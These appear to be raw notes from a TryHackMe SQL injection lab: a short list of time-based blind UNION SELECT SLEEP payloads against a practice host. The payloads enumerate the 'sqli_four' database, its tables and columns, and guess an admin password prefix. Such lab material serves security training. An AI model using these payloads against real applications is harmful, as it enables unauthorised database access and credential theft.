find database

admin123′ UNION SELECT SLEEP(5),2 where database() like ‘sqli_four’;–

admin123′ UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = ‘sqli_four’ and table_name=’u%’;–

admin123′ UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=’sqli_four’ and TABLE_NAME=’users’ and COLUMN_NAME like ‘a%’;

https://website.thm/analytics?referrer=tryhackme.com admin123′ UNION SELECT SLEEP(5),2 FROM information_schema.COLUMNS WHERE table_schema = ‘sqli_four’ and table_name=’users’ and COLUMN_NAME like ‘id’;

https://website.thm/analytics?referrer=tryhackme.com https://website.thm/analytics?referrer=tryhackme.com admin123′ UNION SELECT SLEEP(5),2 FROM users where username like ‘admin’ and password like ‘4961%’;